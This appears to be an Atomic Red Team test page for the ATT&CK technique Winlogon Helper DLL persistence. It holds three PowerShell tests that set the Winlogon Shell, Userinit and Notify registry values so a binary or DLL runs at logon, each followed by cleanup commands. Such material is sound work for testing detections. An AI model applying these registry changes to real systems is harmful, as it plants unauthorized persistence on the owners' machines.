# T1547.004 - Winlogon Helper DLL
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1547/004)
<blockquote>Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software[\\Wow6432Node\\]\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) 

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

* Winlogon\Notify - points to notification package DLLs that handle Winlogon events
* Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
* Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.</blockquote>

## Atomic Tests

- [Atomic Test #1 - Winlogon Shell Key Persistence - PowerShell](#atomic-test-1---winlogon-shell-key-persistence---powershell)

- [Atomic Test #2 - Winlogon Userinit Key Persistence - PowerShell](#atomic-test-2---winlogon-userinit-key-persistence---powershell)

- [Atomic Test #3 - Winlogon Notify Key Logon Persistence - PowerShell](#atomic-test-3---winlogon-notify-key-logon-persistence---powershell)


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## Atomic Test #1 - Winlogon Shell Key Persistence - PowerShell
PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.

**Supported Platforms:** Windows


**auto_generated_guid:** bf9f9d65-ee4d-4c3e-a843-777d04f19c38





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_to_execute | Path of binary to execute | Path | C:&#92;Windows&#92;System32&#92;cmd.exe|


#### Attack Commands: Run with `powershell`! 


```powershell
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, #{binary_to_execute}" -Force
```

#### Cleanup Commands:
```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Shell" -Force -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #2 - Winlogon Userinit Key Persistence - PowerShell
PowerShell code to set Winlogon userinit key to execute a binary at logon along with userinit.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.

**Supported Platforms:** Windows


**auto_generated_guid:** fb32c935-ee2e-454b-8fa3-1c46b42e8dfb





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_to_execute | Path of binary to execute | Path | C:&#92;Windows&#92;System32&#92;cmd.exe|


#### Attack Commands: Run with `powershell`! 


```powershell
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, #{binary_to_execute}" -Force
```

#### Cleanup Commands:
```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" -Name "Userinit" -Force -ErrorAction Ignore
```





<br/>
<br/>

## Atomic Test #3 - Winlogon Notify Key Logon Persistence - PowerShell
PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.

Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.

**Supported Platforms:** Windows


**auto_generated_guid:** d40da266-e073-4e5a-bb8b-2b385023e5f9





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| binary_to_execute | Path of notification package to execute | Path | C:&#92;Windows&#92;Temp&#92;atomicNotificationPackage.dll|


#### Attack Commands: Run with `powershell`! 


```powershell
New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force
Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force
```

#### Cleanup Commands:
```powershell
Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force -ErrorAction Ignore
```





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